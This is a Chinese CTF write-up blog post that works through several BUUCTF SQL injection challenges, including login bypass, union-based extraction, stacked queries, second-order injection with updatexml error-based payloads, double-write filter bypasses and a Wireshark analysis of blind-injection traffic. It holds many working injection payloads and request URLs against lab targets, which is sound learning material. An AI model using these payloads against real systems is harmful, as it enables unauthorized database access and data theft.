Web安全——SQL注入3
本文最后更新于2 天前,其中的信息可能已经过时,如有错误请发送评论

前言

因为篇幅原因,如果你在这篇wp中没有找到对应的题目,请在SQL注入3下,或者中篇查找,这一篇主要是解题人数超过2000的题目(截至这篇wp写完),后面的题目比较难,可能会分为上下两篇或者上中下三篇

今天是12月25日,昨天过生日出门玩了,比较晚才回来,所以没有学习也没有发布碎碎念,因为懒得开电脑。然后今天的话打算开始练习其他CTF平台的题目,因为不知道该从那个平台玩起比较好,我就列出所有平台,我知道的,目前有10个入选,然后我随机生成了5个数字,剔除了其中的5个平台,剩下五个逐一排除,再加上群友推荐,最后选择的是BUUCTF,那么这篇文章就是基于BUUCTF Web 分支的 SQL 注入题目,可能做题的顺序不是你们的顺序,不过一次一个分支,都会写在同一篇文章,并且都是一级标题,可直接跳转查看,希望这篇文章能够给你提供帮助

截至本篇最后一到题目做完,是12月30日的晚上6点,因为有三天上午在打针,所以进度慢了一点,五天左右才做完,不过咳嗽还没好,但是不想打针了,看后面情况吧,今天差不多是我学习ctf的第31天了,时间还是挺快的,加油!

[极客大挑战2019]EasySQL

解题思路:

SQL注入的题目,首先是判断注入点,虽然知道靶场肯定是存在注入点的,不过流程还是很重要的,因为流程即思路,那么判断出注入点后肯定是尝试获取数据库的信息,然后查找flag,如果存在过滤就需要开始猜测或者通过其他方法获取过滤逻辑,从而进行绕过

开启靶机:

一个很常见的登录题目,这种题目首先想到的就是万能密码

那么直接进行尝试判断注入是否存在,输入单引号进行登录

有一个SQL语法错误,说明单引号的确影响到了查询语句,那么很有可能存在万能密码的注入,这里使用恒真条件来进行尝试:

恒真条件:永远成立的条件,比如1=1,与之相反的是恒假条件,如1=2

and/or :逻辑与和或运算,and只有两边条件都为true时才会返回true,也叫做逻辑与运算,or是逻辑或运算,当两边条件满足其中一个就会返回true,并且当左边的条件满足就不会执行右边的条件,比如1=1 or 1=2 这个就会返回true,并且第二个条件不会执行,这里我们就使用 or 来进行万能密码的注入,当前面的条件不满足后,or 后面是恒真条件时,一样会返回 true,从而登录成功

当然还有一个必不可少的注释符,用来注释掉后面的语句

构造payload:

' or 1=1 -- 
' or 1=1 --+
' or 1=1 #

这里使用前面两个语句并没有成功,还是报语法错误,说明没有注释掉后面的内容,因为我们前面手动拼接了一个单引号,闭合了前面的语句,如果后面还有一个单引号就会出错,这就好比语文作文 xx :” xxxx ” 但是你意外的写了一个引号,没有成对使用,从而出现错误,这里也是一样,使用 — 空格 或者 –+ 或者 # 来注释掉后面的另一个单引号即可,成功夺旗!

[极客大挑战 2019]LoveSQL 1

解题思路:

开启靶机后发现还是一个登录框,尝试万能密码 ' or 1=1 # ,然后直接登录成功,显示的是如下内容:

登录成功后,发现当前页面没有输出flag,但是输出了用户名和密码,仔细观察URL参数,发现请求中带有username和password,并且当前页面返回了密码(执行了查询操作),那么我们可以在这个页面尝试SQL注入,这里对username进行测试:

http://e780b4ae-ecd4-46f9-acd2-38901feda218.node5.buuoj.cn:81/check.php?username=admin' order by 1 #&password=111

提示我们输入用户名和密码,但是我们注释了啊,还是提示,可能是没有URL编码的原因,对其进行编码一下(%23):

http://e780b4ae-ecd4-46f9-acd2-38901feda218.node5.buuoj.cn:81/check.php?username=admin' order by 1 %23&password=111

没问题,正常回显,查询的是admin,然后后面的语句是判断字段数,方便我们进行联合查询,这里继续猜测,2,3,4:

// 还是提示我们输入用户名和密码
http://e780b4ae-ecd4-46f9-acd2-38901feda218.node5.buuoj.cn:81/check.php?username=admin' order by 2 %23&password=111
// 一样
http://e780b4ae-ecd4-46f9-acd2-38901feda218.node5.buuoj.cn:81/check.php?username=admin' order by 3 %23&password=111
//
http://e780b4ae-ecd4-46f9-acd2-38901feda218.node5.buuoj.cn:81/check.php?username=admin' order by 4 %23&password=111

猜测到4时,报错了,说明只有3个字段,接下来通过回显来确定字段对应的位置:

http://e780b4ae-ecd4-46f9-acd2-38901feda218.node5.buuoj.cn:81/check.php?username=-1' union select 1,2,3 %23&password=111

可以看到显示了2和3,输入-1就是为了不返回前面的结果,接下来知道显示的位置了,我们就可以查询具体数据了,还是先查询系统数据库,查询所有的库名:

ttp://e780b4ae-ecd4-46f9-acd2-38901feda218.node5.buuoj.cn:81/check.php?username=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata %23&password=111

因为有时候返回的数据可能比较多,所以这里F12查看,没有看见带有flag字眼或者比较奇怪的数据库,那么可能还是在当前数据库geek中,查询一下所有的表:

http://e780b4ae-ecd4-46f9-acd2-38901feda218.node5.buuoj.cn:81/check.php?username=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek' %23&password=111

发现有两个表,flag多半在第二个表中,第一个名叫geekuser,一看就是当前数据库的管理员账号和密码,查询后果然是的,这里直接查询第二个了(语法是一样的):

http://e780b4ae-ecd4-46f9-acd2-38901feda218.node5.buuoj.cn:81/check.php?username=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='geek' and table_name='l0ve1ysq1' %23&password=111

发现有三个列,分别是 id,username,password,直接查询所有的username和password(id为flag的可能性不大):

http://e780b4ae-ecd4-46f9-acd2-38901feda218.node5.buuoj.cn:81/check.php?username=-1' union select 1,group_concat(username),group_concat(password) from l0ve1ysq1 %23&password=111

成功查询到,在password中,不过因为这边换行了,所以截图看不出来完整的,实际可以复制粘贴后查看:

wo_tai_nan_le,glzjin_wants_a_girlfriend,biao_ge_dddd_hm,linux_chuang_shi_ren,a_rua_rain,yan_shi_fu_de_mao_bo_he,cl4y,di_2_kuai_fu_ji,di_3_kuai_fu_ji,di_4_kuai_fu_ji,di_5_kuai_fu_ji,di_6_kuai_fu_ji,di_7_kuai_fu_ji,di_8_kuai_fu_ji,Syc_san_da_hacker,flag{c7785376-afd7-4ddd-9edc-97511299b978}

成功夺旗!

[SUCTF 2019]EasySQL 1

解题思路:

这题我之前在玩NSS CTF的时候做过一次,按照别人的wp做的,最后是做出来了,不过还是不理解,后来粉丝做到BUU CTF的这题不会,然后问我,我第一眼还没反应过来,查wp的时候才想起来做过,不过自己动手时还是不理解,以及怎么猜测出后端使用 || 的,最搞笑的是有个人写的wp,说着题目简单,然后一看是直接查github的源码分析的,要是能直接查到源码,肯定是更好的,但是意义呢,你做题的时候能够查到相关源码吗,我看更多的wp是经验分析出来的,也说不出怎么就判断出来后端的语句是 || ,但就是猜出了,然后以此为基础构建payload,我就是卡在这一步,题目通关不重要,重要的是理解,怎么让他成为自己的思路,看wp的目的不是为了通关,而是学习经验和思路

好的,直接开启靶机,这是我二次通关后写的,不过还是不理解,所以一遍学习一边写:

开启靶机后先收集所有能看到的信息,发现这里就是一个单纯的输入框,采用post进行提交,参数名为query,通过这个单词可以猜测出后端很有可能是直接将语句拼接,先正常尝试数字,发现1,2,3…都返回的是一个array数组,并且内容一样,然后输入字母或者其他则是不返回(可能过滤了一些字符),那么使用恒真条件看看这里是否可以直接影响到查询:

1 or 1=1

发现这里返回了内容,不过返回的是nonono,说明这里存在过滤,所以我们可以使用字典 Fuzz 一下,查看哪些字符或者关键字被过滤了,以此来考虑怎么进行注入,字典下载地址:

https://lawking.top/ctf/web/Fuzz/SQL.zip

因为是post请求,所以抓包数据包,然后使用burpsuite的爆破模块进行爆破:

可以看到凡是nonono响应的数据包长度都为560,其他的则是没有返回nonono,因为没有返回的数据包比较多,所以我们统计一下返回nonono的关键词和字符(、分隔):

" 、 and 、or 、xor 、if 、sleep 、union 、from 、where 、 order 、like 、 rlike 、 information 、handler 、updatexml 、extractvalue 、 regexp 、floor 、 outfile 、create 、drop 、 pg_sleep

这些是字典中爆破过滤的内容,后面尝试发现还有一个flag也是被过滤的,仔细观察被过滤的内容,发现过滤了sleep,updatexml等盲注和报错注入等,甚至联合查询也被过滤, 但是;没有在其中,说明可以尝试堆叠注入,那么构造payload:

1;show databases;

发现正常的返回了数据,其中包含数据库名,的确存在堆叠注入

好的,成功获取到数据库的名称,思路没问题,那么接下来尝试获取表名:

1;show tables;

看到获取的表名为flag,说明flag就在这个表中,但是我们怎么获取flag呢,通过前面的fuzz发现from等关键词都是被过滤的,那么接下来怎么获取flag呢?我们回到题目,重新尝试一些非字典的内容,还记得我们前面输入数字时不管输入什么内容时都返回了一个相同的数组,唯独没有测试0,试试?

可以看到0没有返回内容,也没有返回 nonono ,可是就算是过滤的是非数字类型的输入,也不会过滤0啊,而且不是nonono,而是无响应,说明0影响到了查询内容导致没有返回结果,1却能够正常返回结果,这就不由让人想到逻辑或运算

select command1 || command2  

前面讲过,如果左边的条件为真时右边的条件不会执行(短路特性),如果左边的条件为假,执行右边的条件,右边条件为真才是真,为假则为假,如果左右条件都不满足,则为假;当然还有一个知识点,在计算机中,多以0为false,所以当左边的 command1 为 0 也就是 false (假),会执行右边的条件,当右边的条件也为0,那么就为假,当然还有一点,就是左右两边都为0也会为假,这是逻辑或

看看前面的这个点,当我们输入 0 时,没有返回结果,输入 1 正常返回结果,因为任何非0的数字 || 都为 true ,所以没问题,正常返回,当我们输入 0 时,没有返回结果,说明 0 || 后面的也是 0 或者一个非 0 的字母,比如 flag,那么查询的 sql 语句可能如下:

$sql = "select" . $_POST['query'] . "|| flag from flag "

这个语句是当我们输入flag时从 flag 表里面查找,然后创建一个临时列,返回数组,但是这个列的值默认设置为1,所以不管我们输入任何非0的数字,都是一样的数组,那么我们怎么获取 flag 呢,因为 flag 也是被过滤的关键词,但是我们知道 flag 就在这个表中,我们怎么获取所有的列呢,* 肯定是可以的,但是无法直接使用,因为 || 符号,直接输入,语法就有问题了,怎么让他没有用,也就是 || 后面的 flag 不被执行,那我们可以使用 1 || flag ,这样,左边就是一个非0数,为true,右边就不被执行,然后查询语句就会成为 select * from flag,所以语句构造如下:

*,1

提交后拼接如下:

$sql = "select *,1 || flag from flag"
$sql = "select * from flag"

这样就会返回flag,因为没有其他的列,我们之前查询的都是创建的临时列,值相同,是默认值,所以查 * 好只有一个结果,就是flag

成功夺旗!

额外知识点:

要知道 flag 就在个里面,但是因为 flag 关键词被过滤,所以我们输入 *,1 才有效获取到 flag ,跟我们输入 flag 是一样的

在 MySQL 中 (sql_mode) 有一种叫做 PIPES_AS_CONCAT 模式,这个模式原本是在跨数据库迁移(如 Oracle → MySQL)时使用的,它的作用是将 || 当作字符串拼接运算符,而 MySQL 中 || 默认是将其当作逻辑或运算,改变后执行的结果如下:

原查询语句:
$sql = "select 1 || flag from flag" 查询1,因为前者非 0,后者不执行
结果:select 1 from flag  没有1,返回一个临时列,默认值为 1
使用 sql_mode = 'PIPES_AS_CONCAT' 后:
查询语句:$sql = "select 1 || flag from flag" 变为 $sql = "select 1" . " " . "flag from flag"
实际结果:select 1 flag from flag 执行先查询 1 再查询 flag

依照此知识,我们还可以使用堆叠注入的语法来设置此模式,然后查询:

1;set sql_mode=PIPES_AS_CONCAT;select 1
查询语句:
select 1;set sql_mode=PIPES_AS_CONCAT;select 1 flag from flag
// 先查询1,闭合前面的语句,然后设置模式 ,再次查询 1 和 flag

此方法一样可以获取到 flag

sqltest

题目:

网站遭受到攻击了,还好我们获取到了全部网络流量。 链接: https://pan.baidu.com/s/1AdQXVGKb6rkzqMLkSnGGBQ 提取码: 34uu 注意:得到的 flag 请包上 flag{} 提交

考点:

  • 我个人感觉这题考的不是SQL注入,最多是判断,然后分析SQL注入的数据流,考 Wireshark 的使用和数据分析等比较多,然后这题需要使用到 Wireshark 工具,大家自行下载,看b站视频或者文章都可以
  • 数据流分析
  • Wireshark 工具的使用

解题思路:

题目提供了附件,大家自行打开就可以看到,然后百度网盘下载就好,不过我电脑不用,用平板下载然后传给电脑的,然后需要使用 Wireshark 进行分析,因为我对这个也是第一次了解,是直接看着别人的wp做的,目的或者获取flag不重要,重要的是从中提取出属于自己的知识

下载好题目后,通过题目判断出这个是SQL注入,所以需要过滤出所有的HTTP流量,因为SQL注入通常是通过HTTP请求中的参数传递恶意SQL代码的

右键下载后的附件,然后安装了工具的话就可以直接使用 Wireshark 进行打开,打开后,我们查看一下所有的http请求流,因为我之前没有用过这个工具,不是特别了解,不过还是很容易上手的,感觉和Burpsuite一样,直接点对应的地方,然后会根据情况排序(或者过滤栏输入http.request):

随便点了一个http的数据包,然后打开最后一个一看,发现攻击者是通过id参数进行的SQL注入攻击

输入http.request过滤后使用导出,这样就只有900多个数据包了:

然后找到保存的文件使用excel查看,发现前面是一些猜测数据库长度,然后进行爆破的数据包

因为我们要找的是flag,所以前面的爆破库名、表名、列名就直接忽略,看文件末尾

这里可以看到开始猜测数据库的列名了,判断列的长度,然后猜具体列名,然后继续往后翻就能看到开始猜测具体的flag了,不过我们要怎么去判断那个字符猜对了呢,这里爆破使用的是二分法,为了确认是否正确,或者是否是某个值,这个方法都会多猜一次正确的数字,比如正确的值是102(f)

当二分法找前面判断是否大于103时,大于,那么继续网上猜,小于就往下猜,因为是小于,所以猜测101,但是101显示的是大于,那么这个时候的值就只剩下102了,可是这个爆破是通过 >号来判断的,所以他会重新猜测是否大于102,不大于,比他小的数字也没有了,所以最后就只能是102,那么我们想要找出正确的值,就是看那些数字被猜测了两次,就能找出正确的数字:

102,108,97,103,123,52,55,101,100,98,56,51,48,48,101,100,53,102,57,98,50,56,102,99,53,52,98,48,100,48,57,101,99,100,101,102,55,125
(其中101的猜测判断了两次100,但实际正确值是101,因为101是最后重复两次的一个值)
为了方便使用在线平台转成10进制,我们需要去掉逗号,然后一个数字一换行,结果如下:
102
108
97
103
123
52
55
101
100
98
56
51
48
48
101
100
53
102
57
98
50
56
102
99
53
52
98
48
100
48
57
101
99
100
101
102
55
125
转换结果:flag{47edb8300ed5f9b28fc54b0d09ecdef7}

成功夺旗!

这里我使用的是手动一个一个的翻找,比较麻烦,还比较费眼睛,有些数字,比如101,因为100是中值最开始会判断一次,然后判断101的值最后还会判断一次是否大于100,所以如果是101,就会有两个100和两个101,需要看前面的爆破的字段是否是同一个字段,如果是同一个就说明结果是101,如果不是,可能就是单纯的把后面的字段爆破看进去了(就是看错了)

https://www.asciim.cn/m/tools/convert_ascii_to_string.html

这个是在线转换网站,没接广告,随便找的,可以用其他的,然后也可以用python,是一样的

BUU SQL COURSE 1

废话:

我做题之前都会搜一下同类型或同名的题目,然后看相关的wp,只是粗略的查看,判断是否有我不懂的知识,如果有,我会顺着wp做题,如果没有就自己做,按照自己的思路和流程来。这样如果碰上一些题目,但是因为只有基础知识,没有技巧之类的,题目考空想做出来是不现实的,所以我会去跟着做,然后学习思路,理解写成自己的思路,flag固然重要,不过比flag更重要的是知识

解题思路:

应该是单纯的SQL注入题目,那么我们直接开启靶机看看

这回环境明显更为复杂,不要上来就只盯着URL看,多看看其他的功能,每个功能都点开看看,做好信息收集很重要:

有三个热点新闻,但是因该是提前写好的,在URL修改后面的数字为其他或者加入其他符号页面没有变化,然后也不是通过get请求的参数,这点有点奇怪,然后也没有搜索框之类的功能,然后我们点击登录按钮,发现有一个登录框,F12看看,没有找到什么有用的信息,弱口令试试,虽然知道这是一个SQL注入的题目,发现没有成功后我们尝试抓包看看,然后使用万能密码试试,发现也没有用,唯一可疑的就是前面的,明明没有携带通过get携带参数,页面是怎么知道我们要看那个新闻的呢,连接是直接指向地址,说明再此之前肯定是获取到了每个新闻的信息:

http://48c68762-29e8-4ad3-9bc0-59497a404829.node5.buuoj.cn:81/#/content/1 直接点击查看新闻是这样的
但是直接修改这个地方肯定是无法传参的,因为这个点击触发的是对应的页面,然后通过请求其他的地方返回的结果,这个时候我们就需要查看burpsuite的历史记录,查看HTTTP请求的历史记录,发现有一个数据包比较可疑
GET /backend/content_detail.php?id=1 HTTP/1.1
Host: 48c68762-29e8-4ad3-9bc0-59497a404829.node5.buuoj.cn:81
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://48c68762-29e8-4ad3-9bc0-59497a404829.node5.buuoj.cn:81/
Priority: u=0

这里看见,向这个页面请求了id为1的内容,然后也返回了title,content,说明这个才是我们点击后实际请求的URL,那么判断这个数据包里面的id是否存在注入点,我们直接发送数据包到重放模块,然后进行测试:

1'    没有返回表题和内容,只有一对中括号,说明这个地方的引号对查询的确产生了影响,不过因为报错了,所以没有数据响应,这就确定了两点,报错被关闭或不显示,这个id的确存在注入
那么接下来尝试构造语句,判断字段,因为标题和内容,至少是两个,所以从两个开始猜测
1' order by 2# 没注释掉吗?发现进行尝试后,依旧不反悔内容,说明后面的语句没有注释掉,使用其他的尝试依旧不行,既然注释不掉,那就换一种思路,使用;结束语句
1+and+1=2 这是一个恒假条件,因为and是逻辑与,所以这里不成立,没有返回结果,然后使用恒真试试
1+and+1=1 成功响应,说明不使用'也可以影响到后端,那么我们直接进行注入尝试,不过需要注意我使用的是Burpsuite,需要URL编码,快捷键是ctrl+u,解码是ctrl+shift+u
1+order+by+2 返回内容,继续猜测
1+order+by+3 无返回,字段数为2
-1+union+select+1,2  1为标题,2为内容,继续,开始获取数据
-1+union+select+1,group_concat(schema_name)+from+information_schema.schemata
执行结果:{"title":"1","content":"information_schema,performance_schema,test,mysql,ctftraining,news"}
查查表:-1+union+select+1,group_concat(table_name)+from+information_schema.tables+where+table_schema%3d'news'  news是当前数据库,不过按照BUUCTF的尿性,flag肯定就在这个当前的数据库中
先查当前数据库admin表里面的管理员账号和密码的列
-1+union+select+1,group_concat(column_name)+from+information_schema.columns+where+table_schema%3d'news'+and+table_name%3d'admin'   返回 username password
查询管理员的账号和密码
-1 union select username,password from admin
返回 admin 和 a96bf7f46273ea9891b5f95443613397 拿着密码在登录页面登录一下,成功获取flag

成功夺旗!因为光顾着写思路,所以没截图,然后想要截图写文章的时候发现容器已经过期了,有懒得再开一个了,所以这部分文章少,不过思路和payload我都写在代码块里面了可以自己看看

sqli-labs 1

解题思路:

这个靶场后续自己本地搭建然后玩,现在只是做题,拿flag,学技巧和思路,后面再来玩这个靶场,我们直接选一个页面进入:

提示让我们输入参数id和值在URL参数中,那么我们直接在URL后面输入?id=1试试

回显了用户名和密码,使用恒假条件看看:

1' and 1=2 #
http://506dbf2e-efee-47a2-98e3-07b463b274e1.node5.buuoj.cn/Less-1/?id=1%27%20and%201=2%20#
http://506dbf2e-efee-47a2-98e3-07b463b274e1.node5.buuoj.cn/Less-1/?id=1%27%20and%201=2--+

一开始使用#号还是提示语法错误,说明没有注释成功,我们使用–+试试,加号就是空格,也可以使用%20,然后成功注释,页面没有返回内容,也没有报错,因为恒假条件使结果没有查询到,想要进一步确认,可以使用1=1恒真条件:

http://506dbf2e-efee-47a2-98e3-07b463b274e1.node5.buuoj.cn/Less-1/?id=1%27%20and%201=1--+

and左右两边的条件需要同时满足,1=1成立返回结果,1=2不成立,不返回结果,接下来猜测字段:

1' order by 2--+
1' order by 3--+
1' order by 4--+

4的时候报错了,说明字段数为3

然后使用联合查询判断回显位置:

-1' union select 1,2,3 --+

发现回显的是2和3

因为name可能有长度限制(一般情况下名字不会很长,password可能会长一些,所以我喜欢用password来回显数据),然后使用password来获取表名:

-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+

过滤几个不太可能的数据库,只剩下ctftrainingsecuritytest,我不想一个一个的去翻,为了方便我直接使用模糊匹配,从系统表里面查表的库名,条件是带有flag字眼的:

-1' union select 1,2,table_schema from information_schema.tables where table_name like '%flag%' --+

回显了,是ctftraining库,我们查询具体的表名:

-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctftraining' --+

查列名:

-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ctftraining' and table_name='flag' --+

列名也是flag,从ctftraining的库中flag表里面查询flag列,如果不指定库名,会查询其他的数据库,就找不到flag:

-1' union select 1,2,flag from ctftraining.flag --+

[RCTF2015]EasySQL 1

题目:

源码和官方提供的wp:https://github.com/m0xiaoxi/CTF_Web_docker/tree/master/RCTF2015/easysql

考点:

  • 二次注入

解题思路:

二次注入之前有提到过吧,不过当时没有细致的去学习,正好趁着这个题目好好学习一下,先去简单了解一下二次注入,然后做题,不行在尝试看这个官方提供的wp

二次注入原理:当攻击者将恶意数据注入进数据库后(被转义后存储),但是存储的数据还是恶意数据,当攻击者在其他功能点调用这个数据时,如果没有对数据进行判断,就会存在二次注入,比如一个登录页面,攻击者注册用户名 admin'# 因为被转义,所以万能密码不生效,但是数据admin'#成功被存储在数据库中,当用户登录了该账户后,进行重置密码操作,因为后端没有对数据库中取出的数据进行检查,直接拼接,导致 admin'# 后面的内容被注释,然后重置的就是管理员的密码

原理就是这样,那么我们开启题目试试,打开靶机后发现靶机有两个功能,一个是登录,一个是注册

正常流程肯定是先测试万能密码,然后判断恒真恒假是否有变化,不过这里知道考点是二次注入就省略了,不过在没有提醒的情况下一定要有一套自己的测试流程,能够让你有个基本的测试思路,这里注册一个名字,如果在注册时没有问题,在登录时报错了,就说明注册时进行了过滤,而登录时只是直接获取数据库中的信息然后执行后面的判断,没有检查数据库中的信息,从而导致二次注入,那么测试一些看看:

username=admin'
password=123456

显示非法字符串,这里后面排查了一下,是邮箱的问题,邮箱那个地方不要填写,只填写用户名和密码,然后正常登录,登录后点击名字(超链接)会跳转,其他的是正常的信息,无注入点,我们现在已经将数据存储到数据库中,需要做的是读取并利用,找一下重置密码或者其他的功能点,点击名字的超链接后会跳转到一个页面

选择change password 改变密码

旧的密码是123456,新的密码是888888,不出意外会报语法错误,因为我们在用户名输入了一个单引号,当网站从数据库读取我们的用户名然后执行SQL操作时就会产生二次注入,然后发现没有报错,后面看了一下官方的wp,发现好像是用的双引号,所以没有闭合前面的,就没有报语法错误,然后重新注册了一个恶意用户名的用户:

username=admin"
password=123456

然后修改密码,报错了

可以看到,你有一个语法错误,说明我们先前注入进数据库中的用户名被重新拿出来使用,然后导致拼接的语句多了一个",语法就错误了,可得二次注入的确存在,那么我们要做的就是获取信息,不过在此之前,我们需要判断后端过滤了那些内容,依次构造我们的payload,还是对username参数Fuzz一下

字典还是前面的,然后这里493的是注册成功,其他的没有回显,可能是注册失败,那么只需要过滤出526长度的就能发现过滤了那些字符或关键词:

除了&&显示存在,其他的过滤的字符如下:
`,@,+,<, ,--+,/**/,<>,!(<>),and,sleep,order,benchmark,like,rlike,mid,left,right,substr,handler,ascii,char,hex,floor,file,outfile,load_file,pg_sleep
这是我用字典跑出来的,然后看了官方的wp,过滤了如下内容:
function check($string)
{
	//$string = preg_replace("#(\s)|(/\*.*\*/)#i", "", $string);
	$postfilter = "#(\s)|(/\*.*\*/)|file|insert|<|and|floor|ord|char|ascii|mid|left|right|hex|sleep|benchmark|substr|@|`|delete|like#i";
	if(preg_match($postfilter, $string,$matches))
	{
		echo "<script>alert('invalid string!')</script>";
		die();
	}
	else
		return $string;
}
过滤了空格,单行注释,一些关键词等等

知道过滤了那些内容,想要绕过就很简单了,接下来,需要构造payload获取数据,没有过滤系统表,那么我们可以使用information来获取信息,然后没有过滤table,name,from,where等,那么我们先构造一个正常获取数据的payload,然后进行bypass,不过有一点需要注意,这里我们使用的是语法错误来判断的注入,说明这里没有过滤报错信息,并且这种场景我们应该使用的是报错注入:

username=lawking"||updatexml(1,concat(0x7e,(select(group_concat(schema_name))from(information_schema.schemata)),0x7e),1)#

因为过滤了空格,不过我们可以使用()绕过,注意好阔号的对应,我因为第一次使用阔号绕过空格过滤,不是很清楚,只对应了数量,没对应好包裹的内容,报错了好几次都没成功,然后找了半天,发现后面多了一个空格,前面少来一个空格,然后才成功的,当然这样自己动手构造能够很大程度上提升自己对这题的理解,不过靶机中途结束了,重启了一次,所以可能看见URL或者其他的和前面不一致,不过思路是一样的,当然也可以直接使用"#重置管理员的密码,然后登录,不过这里不会返回flag,还是需要手动构造查询语句

为了方便,我是一边用火狐的重放注册账号,一遍edge登录,然后重置密码,实现报错,接下来获取到三个数据库,最有可能是flag的地方是perfor,需要我们去查询表:

username=lawking"||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),0x7e),1)#

如果需要重新登录,F12在存储或者应用程序中清楚cookie然后重新访问登录页面即可

成功获取到flag的表名,查一下列名:

username=lawking"||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='flag'),0x7e),1)#

因为是在当前数据库中可以不需要指定,如果是其他的数据库,我们需要使用and来指定,不过and被过滤,我们需要使用&&,不过这里可以不指定,默认查询当前数据库中的flag表

返回了列名,那么接下来查询flag就好了:

username=lawking"||updatexml(1,concat(0x7e,(select(group_concat(flag))from(flag)),0x7e),1)#

还藏,显示flag不在这?那么我们查询一下users表:

username=lawking"||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='users'),0x7e),1)#

这里获取到正确的flag列名,不过因为报错注入有长度限制,完整的列名没有显示出来,这里就可以使用切割,因为没有过滤,或者使用reverse()函数将结果倒着输出:

username=lawking"||updatexml(1,concat(0x7e,reverse((select(group_concat(column_name))from(information_schema.columns)where(table_name)='users')),0x7e),1)#

倒过来后发现只有一个e没有输出,完整列名为real_flag_1s_here,接下来获取flag:

username=lawking"||updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)),0x7e),1)#

真折磨,一看flag就比较靠后,需要不断截取,不过也可以使用正则表达式匹配:

username=lawking"||updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')),0x7e),1)#

使用reverse()倒置一下:

username=lawking"||updatexml(1,reverse(concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')),0x7e)),1)#

自己手动倒置一下就好了,完整flag:

flag{e4958797-1d0f-4e67-a526-2dd44adcdfd5}

好了,成功夺旗!

废话:

这题是真纯折磨人啊,我靠我做了第二遍,差点时间不够又要做第三遍了,不是找阔号的问题,就是找flag,本来以为都找到了,结果又要找其他的,找到了,还无法直接读取,读取了还读不完整,然后还要倒置,倒置后找ai还原一下,有问题,只能自己手动来,晕死了,这题简直不是人做的啊,浪费我一个晚上,结果才做出来

[极客大挑战 2019]BabySQL 1

解题思路:

打开题目后还是一如既往的登录框,并且没有提示,也没有看wp,先自己做做看

既然是登录框就试试万能密码:

admin
' or 1=1 #

没用,不过报了语法错误,两点,一:报错输出未关闭,可使用报错注入;二:’ 影响到SQL语句

仔细观察报错信息,发现过滤了or,那么我们双写绕过看看:

oorr
完整payload:' oorr 1=1 #
过滤后的SQL语句:' or 1=1 #

然后就成功了,成功登录

这说明存在万能密码漏洞,同时存在简单的一次过滤,然后我测试了一下发现还过滤了*,因为我想可能过滤了空格,然后想用/**/来绕过,结果后面观察回显发现压根没有过滤,到这基本上就需要我们看看具体过滤了什么,直接Fuzz一下,然后根据过滤情况来构造payload语句

这里对username字段进行爆破,发现过滤了一下常见的关键词,观察长度和内容你会发现,当用户输入内容,密码也没问题就是登录成功,密码有问题,会提示noxxx,只有当用户输入的内容被过滤为空时才会提示输入用户名和密码,以此我们可以判断出779长度的关键词是被过滤的,结合前面的只进行了一次过滤,所以我们可以使用双写来绕过,空格和#是没有被过滤的,可以直接使用,那么我们构造payload来获取一下当前数据库中的表,因为前面的页面回显了,所以用联合注入:

http://7602f9c7-55ec-4649-a0dc-08ac2c7e5765.node5.buuoj.cn:81/check.php?username=admin' oorrder bbyy 2 %23&password=123
http://7602f9c7-55ec-4649-a0dc-08ac2c7e5765.node5.buuoj.cn:81/check.php?username=admin' oorrder bbyy 3 %23&password=123
http://7602f9c7-55ec-4649-a0dc-08ac2c7e5765.node5.buuoj.cn:81/check.php?username=admin' oorrder bbyy 4 %23&password=123

因为用户名和密码至少两个字段,直接从二开始猜测,然后到4报错,说明字段数为3

接下来联合查询获取所有回显位置:

http://7602f9c7-55ec-4649-a0dc-08ac2c7e5765.node5.buuoj.cn:81/check.php?username=-1' ununionion selselectect 1,2,3 %23&password=123

2,3回显,通过3获取全部表名的数据:

http://7602f9c7-55ec-4649-a0dc-08ac2c7e5765.node5.buuoj.cn:81/check.php?username=-1' ununionion selselectect 1,2,group_concat(schema_name) frfromom infoorrmation_schema.schemata %23&password=123

information_schema,performance_schema,test,mysql,ctf,geek其中ctf比较可疑,查查看:

http://7602f9c7-55ec-4649-a0dc-08ac2c7e5765.node5.buuoj.cn:81/check.php?username=-1' ununionion selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables wherwheree table_schema='ctf' %23&password=123

有个flag表,获取一下flag列:

http://7602f9c7-55ec-4649-a0dc-08ac2c7e5765.node5.buuoj.cn:81/check.php?username=-1' ununionion selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns wherwheree table_schema='ctf' anandd table_name='flag' %23&password=123

没有数据,看看geek表:

http://7602f9c7-55ec-4649-a0dc-08ac2c7e5765.node5.buuoj.cn:81/check.php?username=-1' ununionion selselectect 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables wherwheree table_schema='geek' %23&password=123

先查b4bsql:

http://7602f9c7-55ec-4649-a0dc-08ac2c7e5765.node5.buuoj.cn:81/check.php?username=-1' ununionion selselectect 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns wherwheree table_schema='geek' anandd table_name='b4bsql' %23&password=123

返回 id,username,password,获取一下看看:

http://7602f9c7-55ec-4649-a0dc-08ac2c7e5765.node5.buuoj.cn:81/check.php?username=-1' ununionion selselectect 1,2,group_concat(username,passwoorrd) frfromom geek.b4bsql %23&password=123

成功获取到flag:

